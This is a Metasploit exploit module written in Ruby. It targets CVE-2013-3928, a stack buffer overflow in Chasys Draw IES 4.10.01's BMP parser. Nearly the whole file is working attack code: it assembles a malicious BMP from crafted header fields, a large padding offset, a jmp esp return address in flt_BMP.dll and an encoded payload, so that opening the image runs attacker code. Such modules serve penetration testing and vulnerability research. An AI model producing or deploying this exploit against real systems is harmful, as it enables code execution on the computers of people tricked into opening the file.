##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Chasys Draw IES Buffer Overflow",
        'Description' => %q{
          This module exploits a buffer overflow vulnerability found in Chasys Draw IES
          (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while
          parsing BMP files, where the ReadFile function is used to store user provided data
          on the stack in an insecure way. It results in arbitrary code execution under the
          context of the user viewing a specially crafted BMP file. This module has been
          tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7
          SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Christopher Gabriel', # Vulnerability Discovery
          'Longinos Recuero Bustos', # PoC
          'Javier \'soez\'',         # PoC
          'juan vazquez'             # Metasploit
        ],
        'References' => [
          [ 'CVE', '2013-3928' ],
          [ 'OSVDB', '95689' ],
          [ 'BID', '61463' ],
          [ 'URL', 'http://web.archive.org/web/20140326093457/http://secunia.com/advisories/53773/' ],
          [ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ]
        ],
        'Payload' => {
          'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 65536,
              'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-07-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']),
      ]
    )
  end

  def exploit
    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V")
    bof << payload.encoded

    bitmap_header = ""
    bitmap_header << [0x28].pack("V")       # HeaderSize
    bitmap_header << [0x4a3].pack("V")      # Width    # Used to trigger the overflow
    bitmap_header << [0x1].pack("V")        # Height
    bitmap_header << [0x9].pack("v")        # Planes   # Used to trigger the overflow
    bitmap_header << [0x41].pack("v")       # BitCount # Used to trigger the overflow
    bitmap_header << [0x0].pack("V")        # Compression
    bitmap_header << [bof.length].pack("V") # SizeImage
    bitmap_header << [0x0].pack("V")        # PelsPerMeterX
    bitmap_header << [0x0].pack("V")        # PelsPerMeterY
    bitmap_header << [0x0].pack("V")        # ClrUse
    bitmap_header << [0x0].pack("V")        # ClrImportant

    total_size = bof.length + bitmap_header.length + 14 # 14 => file header length

    file_header = ""
    file_header << "BM"                     # Signature
    file_header << [total_size].pack("V")   # Size
    file_header << [0].pack("V")            # Reserved
    file_header << [0x36].pack("V")         # BitsOffsets

    bmp = file_header + bitmap_header + bof
    file_create(bmp)
  end
end